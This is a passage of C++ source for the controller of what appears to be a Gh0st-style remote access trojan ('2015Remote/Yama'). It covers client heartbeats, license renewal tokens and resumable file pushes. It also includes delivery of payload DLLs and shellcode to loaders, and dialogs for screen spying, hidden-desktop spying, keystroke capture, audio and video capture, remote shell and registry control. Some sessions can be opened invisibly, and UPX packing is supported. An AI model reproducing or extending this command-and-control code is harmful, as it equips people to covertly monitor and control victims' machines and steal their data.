    int day = atoi(renewal.ExpireDate.substr(6, 2).c_str());
    CTime expireTime(year, month, day, 0, 0, 0);
    CTime now = CTime::GetCurrentTime();
    CTime today(now.GetYear(), now.GetMonth(), now.GetDay(), 0, 0, 0);
    CTimeSpan span = expireTime - today;
    int days = (int)span.GetDays();
    if (days <= 0) days = 1;

    // 构建并发送 CMD_AUTHORIZATION
    if (source) {
        Mprintf("[%s] 自动下发续期: %s, %s -> %s, %d并发数\n",
                source, sn.c_str(), currentExpire.c_str(), renewal.ExpireDate.c_str(), renewal.HostNum);
    } else {
        Mprintf("自动下发续期: %s, %s -> %s, %d并发数\n",
                sn.c_str(), currentExpire.c_str(), renewal.ExpireDate.c_str(), renewal.HostNum);
    }

    BYTE bToken[32] = { CMD_AUTHORIZATION };
    unsigned short usDays = (unsigned short)days;
    unsigned short num = (unsigned short)renewal.HostNum;
    uint32_t tm = clock();
    memcpy(bToken + 1, &usDays, sizeof(usDays));
    memcpy(bToken + 3, &num, sizeof(num));
    memcpy(bToken + 8, &tm, sizeof(tm));
    uint64_t signature = SignMessage(m_superPass, bToken, 12);
    memcpy(bToken + 12, &signature, sizeof(signature));
    ctx->Send2Client(bToken, sizeof(bToken));

    // 配额递减，配额用完后自动清除预设续期记录
    // 注意：必须在这里处理，因为心跳中的 SN 和请求中的 deviceID 可能不同
    bool hasRemainingQuota = DecrementPendingQuota(sn);
    Mprintf("[HEARTBEAT] 续期下发完成: %s, 剩余配额: %s\n", sn.c_str(), hasRemainingQuota ? "有" : "无");

    // 提示续期已下发
    std::string expireFmt = renewal.ExpireDate.substr(0, 4) + "-" +
                            renewal.ExpireDate.substr(4, 2) + "-" +
                            renewal.ExpireDate.substr(6, 2);
    std::string tip = sn + g_Lang.Get(std::string(" 已自动续期至 ")) + expireFmt;
    PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
}

void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx)
{
    auto clientID = ctx->GetClientID();
    auto host = FindHost(clientID);
    if (!host) {
        // TODO: 不要简单地主动关闭连接
        ctx->CancelIO();
        Mprintf("UpdateActiveWindow failed: %s \n", ctx->GetPeerName().c_str());
        return;
    }

    Heartbeat hb;
    ctx->InDeCompressedBuffer.CopyBuffer(&hb, sizeof(Heartbeat), 1);

    // 回复心跳
    // if(0)
    {
        // 检查是否为 V2 授权
        std::string hmacV2(hb.PwdHmacV2);
        // 去除末尾空字符
        while (!hmacV2.empty() && hmacV2.back() == '\0')
            hmacV2.pop_back();

        // 统一的 V1/V2 授权验证
        std::string ip = ctx->GetClientData(ONLINELIST_IP);
        auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(host, hb.SN, hb.Passcode, hb.PwdHmac, hmacV2, ip, "HB");
        (void)expired;  // 心跳不需要处理过期续期

        // 检查并发送预设续期（多点验证）
        SendPendingRenewal(ctx, hb.SN, hb.Passcode, "Heartbeat");
		int authStatus = authorized ? (!m_v2KeyPath.empty() ? AUTHED_BY_SUPER : AUTHED_BY_ADMIN) : UNAUTHORIZED;
        HeartbeatACK ack = { hb.Time, (char)authStatus, (char)isTrail };
        if (authorized) {
            std::string authorization = isV2 ? LoadLicenseAuthorization(hb.SN) : BuildV1Authorization(hb.SN, true);
            memcpy(ack.Authorization, authorization.c_str(), authorization.length());
        }
        BYTE buf[sizeof(HeartbeatACK) + 1] = { CMD_HEARTBEAT_ACK};
        memcpy(buf + 1, &ack, sizeof(HeartbeatACK));
        ctx->Send2Client(buf, sizeof(buf));
        ctx->SetLastHeartbeat(time(0));
    }

    CLock L(m_cs);
    // 使用索引快速查找
    auto indexIt = m_ClientIndex.find(clientID);
    if (indexIt != m_ClientIndex.end() && indexIt->second < m_HostList.size()) {
        context* id = m_HostList[indexIt->second];
        if (id) {
            bool changed = false;
            // 只在数据变化时标记 dirty
            CString oldActiveWnd = ctx->GetClientData(ONLINELIST_LOGINTIME);
            if (oldActiveWnd != hb.ActiveWnd) {
                ctx->SetClientData(ONLINELIST_LOGINTIME, hb.ActiveWnd);
                changed = true;
            }
            if (hb.Ping > 0) {
                CString newPing = std::to_string(hb.Ping).c_str();
                if (ctx->GetClientData(ONLINELIST_PING) != newPing) {
                    ctx->SetClientData(ONLINELIST_PING, newPing);
                    changed = true;
                }
            }
            CString newVideo = hb.HasSoftware ? _TR("有") : _TR("无");
            if (ctx->GetClientData(ONLINELIST_VIDEO) != newVideo) {
                ctx->SetClientData(ONLINELIST_VIDEO, newVideo);
                changed = true;
            }
            id->SetLastHeartbeat(time(0));
            if (changed) {
                m_DirtyClients.insert(clientID);

                // Notify web clients of device update
                if (WebService().IsRunning()) {
                    std::string rtt = hb.Ping > 0 ? std::to_string(hb.Ping) : "";
                    // Convert ANSI to UTF-8 for web
                    std::string activeWnd;
                    CString csActiveWnd(hb.ActiveWnd);
                    if (!csActiveWnd.IsEmpty()) {
                        int wlen = MultiByteToWideChar(CP_ACP, 0, csActiveWnd, -1, NULL, 0);
                        if (wlen > 0) {
                            std::wstring wstr(wlen - 1, L'\0');
                            MultiByteToWideChar(CP_ACP, 0, csActiveWnd, -1, &wstr[0], wlen);
                            int u8len = WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
                            if (u8len > 0) {
                                activeWnd.resize(u8len - 1);
                                WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, &activeWnd[0], u8len, NULL, NULL);
                            }
                        }
                    }
                    WebService().NotifyDeviceUpdate(clientID, rtt, activeWnd);
                }
            }
        }
    }
}

// 根据套接字端口寻找对应的在线主机, 返回在线主机 context
context* CMy2015RemoteDlg::FindHostNoLock(int port)
{
    // caller must hold m_cs lock
    for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) {
        if ((*i)->GetPort() == port) {
            return *i;
        }
    }
    return NULL;
}

context* CMy2015RemoteDlg::FindHost(int port)
{
    CLock L(m_cs);
    return FindHostNoLock(port);
}

// 根据ID寻找对应的在线主机, 返回在线主机 context
context* CMy2015RemoteDlg::FindHostNoLock(uint64_t id)
{
    // caller must hold m_cs lock
    for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) {
        if ((*i)->GetClientID() == id) {
            return *i;
        }
    }
    return NULL;
}

context* CMy2015RemoteDlg::FindHost(uint64_t id)
{
    CLock L(m_cs);
    return FindHostNoLock(id);
}

void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx, const MasterSettings& m)
{
    BYTE buf[sizeof(MasterSettings) + 1] = { CMD_MASTERSETTING };
    memcpy(buf+1, &m, sizeof(MasterSettings));

    if (ctx) {
        ctx->Send2Client(buf, sizeof(buf));
    } else {
        EnterCriticalSection(&m_cs);
        for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) {
            context* ContextObject = *i;
            if (!ContextObject->IsLogin())
                continue;
            ContextObject->Send2Client(buf, sizeof(buf));
        }
        LeaveCriticalSection(&m_cs);
    }
}

// V2 文件发送到客户端：回调数据结构
struct SendV2CallbackData {
    uint64_t clientID;  // 用客户端ID而不是指针，因为context可能被复用
    CDlgFileSend* dlg;
};

// V2 文件发送到客户端的回调函数
static bool SendFileChunkToClientV2(void* user, FileChunkPacketV2* chunk, unsigned char* data, int size)
{
    SendV2CallbackData* cbData = (SendV2CallbackData*)user;
    if (!cbData) {
        Mprintf("【V2传输】 回调数据为空\n");
        return false;
    }

    // 通过ID查找客户端，检查是否仍然在线
    context* ctx = g_2015RemoteDlg->FindHost(cbData->clientID);
    if (!ctx) {
        Mprintf("【V2传输】 客户端已断开 (clientID=%llu)，停止传输\n", cbData->clientID);
        return false;
    }

    // 发送数据
    BOOL sent = ctx->Send2Client(data, size);
    if (!sent) {
        Mprintf("【V2传输】 Send2Client 失败: size=%d, clientID=%llu\n", size, cbData->clientID);
    }

    // FILE_COMPLETE_V2 包结构不同，跳过进度更新
    if (data[0] == COMMAND_FILE_COMPLETE_V2) {
        Mprintf("【V2传输】 发送校验包\n");
        return sent != FALSE;
    }

    // 更新进度
    if (cbData->dlg && chunk) {
        BYTE* name = data + sizeof(FileChunkPacketV2);
        CString fileName((char*)name, (int)chunk->nameLength);
        cbData->dlg->UpdateProgress(fileName, FileProgressInfo(chunk));
    }

    return sent != FALSE;
}

void CMy2015RemoteDlg::SendFilesToClientV2(context* mainCtx, const std::vector<std::string>& files, const std::string& targetDir)
{
    if (!mainCtx || files.empty()) return;

    uint64_t clientID = mainCtx->GetClientID();

    // 检查是否有未完成的相同传输（复用 transferID 实现续传）
    uint64_t existingTransferID = 0;
    {
        std::lock_guard<std::mutex> lock(g_pendingTransfersV2Mtx);
        for (auto& pair : g_pendingTransfersV2) {
            if (pair.second.clientID == clientID && pair.second.files == files) {
                existingTransferID = pair.first;
                Mprintf("【V2传输】 找到未完成传输, 复用 transferID=%llu\n", existingTransferID);
                break;
            }
        }
    }

    if (existingTransferID) {
        // 复用已有的 transferID，无需等待客户端响应偏移（客户端会通过 COMMAND_FILE_QUERY_RESUME 回复）
        SendFilesToClientV2Internal(mainCtx, files, existingTransferID, {}, targetDir);
    } else {
        SendFilesToClientV2Internal(mainCtx, files, 0, {}, targetDir);
    }
}

// 内部实现，支持断点续传
void CMy2015RemoteDlg::SendFilesToClientV2Internal(context* mainCtx, const std::vector<std::string>& files,
    uint64_t resumeTransferID, const std::map<uint32_t, uint64_t>& startOffsets, const std::string& targetDir)
{
    if (!mainCtx || files.empty()) return;

    // 续传使用原transferID，新传输生成新ID
    uint64_t transferID = resumeTransferID ? resumeTransferID : GenerateTransferID();
    CONTEXT_OBJECT* ctxObj = dynamic_cast<CONTEXT_OBJECT*>(mainCtx);

    // 创建进度对话框
    CDlgFileSend* dlg = nullptr;
    if (ctxObj) {
        dlg = new CDlgFileSend(this, ctxObj->GetServer(), ctxObj, TRUE);
        dlg->m_bKeepConnection = TRUE;  // V2传输使用主连接，关闭对话框时不断开
        dlg->Create(IDD_DIALOG_FILESEND, GetDesktopWindow());
        dlg->ShowWindow(SW_HIDE);  // 首次显示由 UpdateProgress 触发
        dlg->SetWindowTextA(resumeTransferID ? _TR("续传文件 (V2)") : _TR("发送文件 (V2)"));
    }

    // 保存客户端ID（用于后续查找，因为context可能被复用）
    uint64_t clientID = mainCtx->GetClientID();

    // 保存传输状态（用于断点续传）
    if (!resumeTransferID) {
        std::lock_guard<std::mutex> lock(g_pendingTransfersV2Mtx);
        g_pendingTransfersV2[transferID] = { clientID, files, GetTickCount() };
        Mprintf("【V2传输】 保存传输状态, transferID=%llu, files=%zu\n", transferID, files.size());
    }

    // 先通知客户端准备接收（捕获当前目录）- 续传时或已指定目标目录时不需要
    if (!resumeTransferID && targetDir.empty()) {
        C2CPreparePacket prepare = {};
        prepare.cmd = COMMAND_C2C_PREPARE;
        prepare.transferID = transferID;
        prepare.srcClientID = 0;  // 主控端
        mainCtx->Send2Client((BYTE*)&prepare, sizeof(prepare));
        Mprintf("【V2传输】 通知客户端准备, transferID=%llu\n", transferID);
    }

    // 续传时先发送查询
    if (resumeTransferID) {
        // 构建续传查询包
        std::vector<std::pair<std::string, uint64_t>> fileInfos;
        for (const auto& f : files) {
            WIN32_FILE_ATTRIBUTE_DATA fad;
            if (GetFileAttributesExA(f.c_str(), GetFileExInfoStandard, &fad)) {
                uint64_t size = ((uint64_t)fad.nFileSizeHigh << 32) | fad.nFileSizeLow;
                // 提取文件名（不含路径）
                size_t pos = f.find_last_of("\\/");
                std::string name = (pos != std::string::npos) ? f.substr(pos + 1) : f;
                fileInfos.push_back({name, size});
            }
        }
        auto queryPkt = BuildResumeQuery(transferID, 0, clientID, fileInfos);
        if (!queryPkt.empty()) {
            mainCtx->Send2Client(queryPkt.data(), (UINT)queryPkt.size());
            Mprintf("【V2传输】 发送续传查询, transferID=%llu, files=%zu\n", transferID, fileInfos.size());
        }
    }

    // 在新线程中发送文件
    std::thread([this, clientID, files, transferID, dlg, startOffsets, resumeTransferID, targetDir]() {
        // 检查程序是否正在退出
        if (g_bAppExiting) return;

        // 等待客户端准备/响应
        if (resumeTransferID) {
            Sleep(500);  // 等待续传响应
        } else if (targetDir.empty()) {
            Sleep(500);  // 等待 COMMAND_C2C_PREPARE 处理完成（增加到500ms以支持Linux客户端）
        }

        // 再次检查退出标志
        if (g_bAppExiting) return;

        // 检查客户端是否还在线
        context* ctx = FindHost(clientID);
        if (!ctx) {
            Mprintf("【V2传输】 客户端已断开 (clientID=%llu)，取消传输\n", clientID);
            if (dlg) dlg->FinishFileSend(FALSE);
            return;
        }
        Mprintf("【V2传输】 开始传输, clientID=%llu, files=%zu\n", clientID, files.size());

        // 获取续传偏移（从全局状态）
        std::map<uint32_t, uint64_t> offsets = startOffsets;
        if (resumeTransferID && offsets.empty()) {
            // 尝试获取客户端响应的偏移
            if (WaitForResumeOffsets(offsets, 2500)) {
                Mprintf("【V2传输】 收到续传偏移: %zu 个文件\n", offsets.size());
            } else {
                Mprintf("【V2传输】 未收到续传偏移，从头开始\n");
            }
        }

        std::string hash = GetPwdHash();
        std::string hmac = GetHMAC(100);

        TransferOptionsV2 opts = {};
        opts.transferID = transferID;
        opts.srcClientID = 0;  // 服务端
        opts.dstClientID = clientID;
        opts.enableResume = false;  // 已手动处理
        opts.startOffsets = offsets;

        // 使用包含对话框的回调数据（用clientID而不是指针）
        SendV2CallbackData cbData = { clientID, dlg };
        int result = FileBatchTransferWorkerV2(files, targetDir, &cbData, SendFileChunkToClientV2, nullptr, hash, hmac, opts);

        // 检查最终结果：传输函数返回0且客户端仍在线才算成功
        bool success = (result == 0) && (FindHost(clientID) != nullptr);
        Mprintf("【V2传输】 %s, transferID=%llu, result=%d\n", success ? "完成" : "失败", transferID, result);

        // 传输完成，清理状态
        if (success) {
            std::lock_guard<std::mutex> lock(g_pendingTransfersV2Mtx);
            g_pendingTransfersV2.erase(transferID);
        }

        // 通知完成（先检查程序是否正在退出）
        if (!g_bAppExiting && dlg && ::IsWindow(dlg->GetSafeHwnd())) {
            dlg->FinishFileSend(success);
        }
    }).detach();
}

// 处理客户端的续传请求（服务端是源）
void CMy2015RemoteDlg::HandleFileResumeRequest(CONTEXT_OBJECT* ctx, const BYTE* data, size_t len)
{
    if (len < sizeof(FileResumePacketV2)) {
        Mprintf("[V2续传] 请求包太短: %zu\n", len);
        return;
    }

    const FileResumePacketV2* pkt = (const FileResumePacketV2*)data;
    uint64_t transferID = pkt->transferID;
    uint64_t clientID = pkt->dstClientID;

    // 查找待续传的传输
    PendingTransferV2 transfer;
    {
        std::lock_guard<std::mutex> lock(g_pendingTransfersV2Mtx);
        auto it = g_pendingTransfersV2.find(transferID);
        if (it == g_pendingTransfersV2.end()) {
            Mprintf("[V2续传] 未找到传输记录: transferID=%llu\n", transferID);
            return;
        }
        transfer = it->second;
    }

    // 验证客户端ID
    if (transfer.clientID != clientID) {
        Mprintf("[V2续传] 客户端ID不匹配: 期望=%llu, 实际=%llu\n", transfer.clientID, clientID);
        return;
    }

    // 解析已接收的区间，计算起始偏移
    std::map<uint32_t, uint64_t> startOffsets;

    // 从请求中获取 receivedBytes 作为起始偏移
    // 注意：当前实现简化为单文件，使用 receivedBytes 作为偏移
    uint32_t fileIndex = pkt->fileIndex;
    uint64_t receivedBytes = pkt->receivedBytes;

    if (receivedBytes > 0) {
        startOffsets[fileIndex] = receivedBytes;
        Mprintf("[V2续传] 文件 %u 从偏移 %llu 开始续传\n", fileIndex, receivedBytes);
    }

    // 获取当前客户端的 context（可能已经是新的连接）
    context* mainCtx = FindHost(clientID);
    if (!mainCtx) {
        Mprintf("[V2续传] 客户端不在线: %llu\n", clientID);
        return;
    }

    Mprintf("[V2续传] 开始续传: transferID=%llu, files=%zu\n", transferID, transfer.files.size());

    // 调用内部函数开始续传
    SendFilesToClientV2Internal(mainCtx, transfer.files, transferID, startOffsets);
}

bool isAllZeros(const BYTE* data, int len)
{
    for (int i = 0; i < len; ++i)
        if (data[i])
            return false;
    return true;
}

BOOL CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit)
{
    auto id = is64Bit ? PAYLOAD_DLL_X64 : PAYLOAD_DLL_X86;
    auto buf = isDLL ? m_ServerDLL[id] : m_ServerBin[id];
    if (buf->length()) {
        // 检查旧客户端是否能接收大 DLL (旧 test.cpp 客户端 bufSize=4MB)
        // 注：SHELLCODE 请求来自 main.c，一直是 8MB，不需要检查
        const size_t OLD_CLIENT_MAX_SIZE = 4 * 1024 * 1024;
        if (isDLL && buf->length() > OLD_CLIENT_MAX_SIZE) {
            Mprintf("[SendServerDll] DLL size %.2f MB: use TinyRunDLL instead.\n", buf->length()/1024.);
			buf = is64Bit ? m_TinyRun[PAYLOAD_DLL_X64] : m_TinyRun[PAYLOAD_DLL_X86];
        }
        // 只有发送了IV的加载器才支持AES加密
        int len = ContextObject->InDeCompressedBuffer.GetBufferLength();
        bool hasIV = len >= 32 && !isAllZeros(ContextObject->InDeCompressedBuffer.GetBuffer(16), 16);
        char md5[33] = {};
        memcpy(md5, (char*)ContextObject->InDeCompressedBuffer.GetBuffer(32), max(0,min(32, len-32)));
        if (!buf->MD5().empty() && md5 != buf->MD5()) {
            ContextObject->Send2Client(buf->Buf(), buf->length(!hasIV));
            return TRUE;
        } else {
            ContextObject->Send2Client( buf->Buf(), 6 /* data not changed */);
        }
    }
    return FALSE;
}


LRESULT CMy2015RemoteDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)
{
    CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam;
    LPBYTE p = ContextObject->InDeCompressedBuffer.GetBuffer(41);
    LPBYTE q = ContextObject->InDeCompressedBuffer.GetBuffer(49);
    uint64_t clientID = p ? *((uint64_t*)p) : 0;
    uint64_t dlgID = q ? *((uint64_t*)q) : 0;
    auto mainCtx = clientID ? FindHost(clientID) : NULL;
    CDialogBase* dlg = dlgID ? (DialogBase*)dlgID : NULL;
    if (mainCtx) ContextObject->SetPeerName(mainCtx->GetClientData(ONLINELIST_IP).GetString());
    if (dlg) {
        if (GetRemoteWindow(dlg))
            return dlg->UpdateContext(ContextObject, clientID);
        Mprintf("收到远程桌面打开消息, 对话框已经销毁: %llu\n", dlgID);
        BYTE bToken = COMMAND_BYE;
        return ContextObject->Send2Client(&bToken, 1) ? 0 : 0x20260223;
    }
    if (clientID && WebService().IsRunning() && WebService().IsWebTriggered(clientID) && WebService().GetHideWebSessions()) {
        return OpenDialog<CScreenSpyDlg, IDD_DIALOG_SCREEN_SPY, SW_HIDE>(wParam, lParam);
    }
    return OpenDialog<CScreenSpyDlg, IDD_DIALOG_SCREEN_SPY, SW_SHOWMAXIMIZED>(wParam, lParam);
}

LRESULT CMy2015RemoteDlg::OnOpenFileManagerDialog(WPARAM wParam, LPARAM lParam)
{
    return OpenDialog<CFileManagerDlg, IDD_FILE>(wParam, lParam);
}

LRESULT CMy2015RemoteDlg::OnOpenTalkDialog(WPARAM wParam, LPARAM lParam)
{
    return OpenDialog<CTalkDlg, IDD_DIALOG_TALK>(wParam, lParam);
}

LRESULT CMy2015RemoteDlg::OnOpenShellDialog(WPARAM wParam, LPARAM lParam)
{
    return OpenDialog<CShellDlg, IDD_DIALOG_SHELL>(wParam, lParam);
}

LRESULT CMy2015RemoteDlg::OnOpenTerminalDialog(WPARAM wParam, LPARAM lParam)
{
    // 复用 ShellDlg 的对话框模板，TerminalDlg 会在初始化时替换 Edit 为 WebView2
    return OpenDialog<CTerminalDlg, IDD_DIALOG_SHELL>(wParam, lParam);
}


LRESULT CMy2015RemoteDlg::OnOpenSystemDialog(WPARAM wParam, LPARAM lParam)
{
    return OpenDialog<CSystemDlg, IDD_DIALOG_SYSTEM>(wParam, lParam);
}

LRESULT CMy2015RemoteDlg::OnOpenAudioDialog(WPARAM wParam, LPARAM lParam)
{
    return OpenDialog<CAudioDlg, IDD_DIALOG_AUDIO>(wParam, lParam);
}

LRESULT CMy2015RemoteDlg::OnOpenServicesDialog(WPARAM wParam, LPARAM lParam)
{
    return OpenDialog<CServicesDlg, IDD_DIALOG_SERVICES>(wParam, lParam);
}

LRESULT CMy2015RemoteDlg::OnOpenRegisterDialog(WPARAM wParam, LPARAM lParam)
{
    return OpenDialog<CRegisterDlg, IDD_DIALOG_REGISTER>(wParam, lParam);
}

LRESULT CMy2015RemoteDlg::OnOpenVideoDialog(WPARAM wParam, LPARAM lParam)
{
    return OpenDialog<CVideoDlg, IDD_DIALOG_VIDEO>(wParam, lParam);
}

LRESULT CMy2015RemoteDlg::OnOpenKeyboardDialog(WPARAM wParam, LPARAM lParam)
{
    return OpenDialog<CKeyBoardDlg, IDD_DLG_KEYBOARD>(wParam, lParam);
}

LRESULT CMy2015RemoteDlg::OnOpenProxyDialog(WPARAM wParam, LPARAM lParam)
{
    if (!ENABLE_HPSOCKET) {
        ShowMessage("Operation Failed", "This feature is unavailable due to HPSocket disabled");
        return S_OK;
    }
    return OpenDialog<CProxyMapDlg, IDD_PROXY>(wParam, lParam);
}

LRESULT CMy2015RemoteDlg::OnOpenHideScreenDialog(WPARAM wParam, LPARAM lParam)
{
    return OpenDialog<CHideScreenSpyDlg, IDD_SCREEN>(wParam, lParam);
}

LRESULT CMy2015RemoteDlg::OnOpenMachineManagerDialog(WPARAM wParam, LPARAM lParam)
{
    return OpenDialog<CMachineDlg, IDD_MACHINE>(wParam, lParam);
}

LRESULT CMy2015RemoteDlg::OnOpenChatDialog(WPARAM wParam, LPARAM lParam)
{
    return OpenDialog<CChat, IDD_CHAT>(wParam, lParam);
}

LRESULT CMy2015RemoteDlg::OnOpenDecryptDialog(WPARAM wParam, LPARAM lParam)
{
    return OpenDialog<DecryptDlg, IDD_DIALOG_DECRYPT>(wParam, lParam);
}

LRESULT CMy2015RemoteDlg::OnOpenFileMgrDialog(WPARAM wParam, LPARAM lParam)
{
    return OpenDialog<file::CFileManagerDlg, IDD_FILE_WINOS>(wParam, lParam);
}

LRESULT CMy2015RemoteDlg::OnOpenDrawingBoard(WPARAM wParam, LPARAM lParam)
{
    return OpenDialog<CDrawingBoard, IDD_DRAWING_BOARD>(wParam, lParam);
}

BOOL CMy2015RemoteDlg::OnHelpInfo(HELPINFO* pHelpInfo)
{
    OnAbout();
    return TRUE;
}


BOOL CMy2015RemoteDlg::PreTranslateMessage(MSG* pMsg)
{
    if (pMsg->message == WM_KEYDOWN && pMsg->wParam == VK_RETURN) {
        return TRUE;
    }

    // Ctrl+F 显示搜索栏
    if (pMsg->message == WM_KEYDOWN && pMsg->wParam == 'F' &&
        (GetKeyState(VK_CONTROL) & 0x8000)) {
        if (!m_pSearchBar) {
            m_pSearchBar = new CSearchBarDlg(this);
        }
        m_pSearchBar->Show();
        return TRUE;
    }

    if ((pMsg->message == WM_LBUTTONDOWN || pMsg->message == WM_RBUTTONDOWN) && m_pFloatingTip) {
        HWND hTipWnd = m_pFloatingTip->GetSafeHwnd();
        if (::IsWindow(hTipWnd)) {
            CPoint pt(pMsg->pt);
            CRect tipRect;
            ::GetWindowRect(hTipWnd, &tipRect);
            if (!tipRect.PtInRect(pt)) {
                DeletePopupWindow(TRUE);
            }
        }
    }

    return __super::PreTranslateMessage(pMsg);
}

LRESULT CMy2015RemoteDlg::WindowProc(UINT message, WPARAM wParam, LPARAM lParam)
{
    // WM_COMMAND 不计时
    if (message == WM_COMMAND) {
        return __super::WindowProc(message, wParam, lParam);
    }

    auto start = std::chrono::steady_clock::now();

    LRESULT result = __super::WindowProc(message, wParam, lParam);

    auto ms = std::chrono::duration_cast<std::chrono::milliseconds>(
                  std::chrono::steady_clock::now() - start).count();

    if (ms > m_TraceTime) {
        if (message >= WM_USER) {
            Mprintf("[BLOCKED] WM_USER + %d 阻塞: %lld ms\n", message - WM_USER, ms);
        } else {
            Mprintf("[BLOCKED] MSG 0x%04X (%d) 阻塞: %lld ms\n", message, message, ms);
        }
    }

    return result;
}

void CMy2015RemoteDlg::OnOnlineShare()
{
    CInputDialog dlg(this);
    dlg.Init(_TR("分享主机"), _TR("输入<IP:PORT>地址:"));
    dlg.SetHistoryKey("ShareAddress");
    if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty())
        return;
    if (dlg.m_str.GetLength() >= 250) {
        MessageBoxL("字符串长度超出[0, 250]范围限制!", "提示", MB_ICONINFORMATION);
        return;
    }
    CharMsg* buf = new CharMsg(dlg.m_str.GetLength()+1);
    memcpy(buf->data, dlg.m_str, dlg.m_str.GetLength());
    buf->data[dlg.m_str.GetLength()] = 0;
    PostMessageA(WM_SHARE_CLIENT, (WPARAM)buf, NULL);
}

LRESULT CMy2015RemoteDlg::ShareClient(WPARAM wParam, LPARAM lParam)
{
    CharMsg* buf = (CharMsg*)wParam;
    int len = strlen(buf->data);
    BYTE bToken[_MAX_PATH] = { COMMAND_SHARE };
    // 目标主机类型
    bToken[1] = SHARE_TYPE_YAMA;
    memcpy(bToken + 2, buf->data, len);
    lParam ? SendAllCommand(bToken, sizeof(bToken)) : SendSelectedCommand(bToken, sizeof(bToken));
    if(buf->needFree) delete buf;
    return S_OK;
}

void CMy2015RemoteDlg::OnToolAuth()
{
    CPwdGenDlg dlg;
    std::string hardwareID = GetHardwareID();
    std::string hashedID = hashSHA256(hardwareID);
    std::string deviceID = getFixedLengthID(hashedID);
    dlg.m_sDeviceID = deviceID.c_str();
    dlg.m_sUserPwd = m_superPass.c_str();

    dlg.DoModal();

    if (!dlg.m_sUserPwd.IsEmpty() && !dlg.m_sPassword.IsEmpty()) {
        m_superPass = dlg.m_sUserPwd;
        if (deviceID.c_str() == dlg.m_sDeviceID) {
            m_nMaxConnection = dlg.m_nHostNum;
            THIS_APP->UpdateMaxConnection(m_nMaxConnection);
        }
    }
}

void CMy2015RemoteDlg::OnMainProxy()
{
    EnterCriticalSection(&m_cs);
    POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
    while (Pos) {
        int	iItem = m_CList_Online.GetNextSelectedItem(Pos);
        context* ContextObject = GetContextByListIndex(iItem);
        if (!ContextObject) continue;
        BYTE cmd[] = { COMMAND_PROXY };
        ContextObject->Send2Client( cmd, sizeof(cmd));
        break;
    }
    LeaveCriticalSection(&m_cs);
}

void CMy2015RemoteDlg::OnOnlineHostnote()
{
    CInputDialog dlg(this);
    dlg.Init(_TR("修改备注"), _TR("请输入主机备注: "));
    if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty()) {
        return;
    }
    if (dlg.m_str.GetLength() >= 64) {
        MessageBoxL("备注信息长度不能超过64个字符", "提示", MB_ICONINFORMATION);
        dlg.m_str = dlg.m_str.Left(63);
    }
    BOOL modified = FALSE;
    uint64_t key = 0;
    EnterCriticalSection(&m_cs);
    POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
    while (Pos) {
        int	iItem = m_CList_Online.GetNextSelectedItem(Pos);
        context* ContextObject = GetContextByListIndex(iItem);
        if (!ContextObject) continue;
        m_ClientMap->SetClientMapData(ContextObject->GetClientID(), MAP_NOTE, dlg.m_str);
        // 虚拟列表：刷新该行以显示新备注
        m_CList_Online.RedrawItems(iItem, iItem);
        modified = TRUE;
    }
    LeaveCriticalSection(&m_cs);
    if (modified) {
        m_ClientMap->SaveToFile(GetDbPath());
    }
}


char* ReadFileToBuffer(const std::string &path, size_t& outSize)
{
    // 打开文件
    std::ifstream file(path, std::ios::binary | std::ios::ate); // ate = 跳到末尾获得大小
    if (!file) {
        return nullptr;
    }

    // 获取文件大小并分配内存
    std::streamsize size = file.tellg();
    file.seekg(0, std::ios::beg);
    char* buffer = new char[size];

    // 读取文件到 buffer
    if (!file.read(buffer, size)) {
        delete[] buffer;
        return nullptr;
    }

    outSize = static_cast<size_t>(size);
    return buffer;
}

//////////////////////////////////////////////////////////////////////////
// UPX

BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size, LONGLONG offset)
{
    std::string filePath = path;
    std::fstream outFile;

    if (offset == 0) {
        // offset=0 时截断文件，等同覆盖写入
        outFile.open(filePath, std::ios::binary | std::ios::out | std::ios::trunc);
    } else if (offset == -1) {
        // offset=-1 时追加写入
        outFile.open(filePath, std::ios::binary | std::ios::out | std::ios::app);
    } else {
        // 非0偏移，保留原内容，定位写入
        outFile.open(filePath, std::ios::binary | std::ios::in | std::ios::out);

        // 文件不存在时创建
        if (!outFile) {
            outFile.open(filePath, std::ios::binary | std::ios::out);
        }
    }

    if (!outFile) {
        Mprintf("Failed to open or create the file: %s.\n", filePath.c_str());
        return FALSE;
    }

    // 追加模式不需要 seekp, 其他情况定位到指定位置
    if (offset != -1) {
        // 定位到指定位置
        outFile.seekp(offset, std::ios::beg);

        // 验证 seekp 是否成功
        if (outFile.fail()) {
            Mprintf("Failed to seek to offset %llu.\n", offset);
            outFile.close();
            return FALSE;
        }
    }

    // 写入二进制数据
    outFile.write(data, size);

    if (outFile.good()) {
        Mprintf("Binary data written successfully to %s.\n", filePath.c_str());
    } else {
        Mprintf("Failed to write data to file.\n");
        outFile.close();
        return FALSE;
    }

    outFile.close();
    return TRUE;
}

int run_cmd(std::string cmdLine)
{
    STARTUPINFOA si = { sizeof(si) };
    si.dwFlags |= STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;

    PROCESS_INFORMATION pi = { 0 };
    BOOL success = CreateProcessA(
                       NULL,
                       &cmdLine[0],  // 注意必须是非 const char*
                       NULL, NULL, FALSE,
                       0, NULL, NULL, &si, &pi
                   );

    if (!success) {
        Mprintf("Failed to run UPX. Error: %d\n", GetLastError());
        return -1;
    }

    WaitForSingleObject(pi.hProcess, INFINITE);

    DWORD exitCode;
    GetExitCodeProcess(pi.hProcess, &exitCode);

    SAFE_CLOSE_HANDLE(pi.hProcess);
